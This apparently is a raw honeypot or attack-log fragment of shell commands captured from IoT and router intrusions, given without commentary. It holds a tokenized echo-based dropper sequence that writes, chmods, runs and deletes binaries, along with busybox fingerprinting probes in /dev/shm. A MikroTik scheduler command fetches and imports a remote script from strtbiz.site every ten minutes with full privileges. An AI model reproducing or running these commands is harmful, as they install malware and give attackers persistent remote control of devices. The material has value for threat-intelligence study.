>>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './212630', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './542492', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './840190', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './176844', 'rm', 'cd || cd || cd || cd || cd', 'cd || cd $ ( -writable | head -n ) ;', '-writable | head -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JAQMD

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/edf126f7-6bd9-42a6-805e-160fae706196 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FVCHL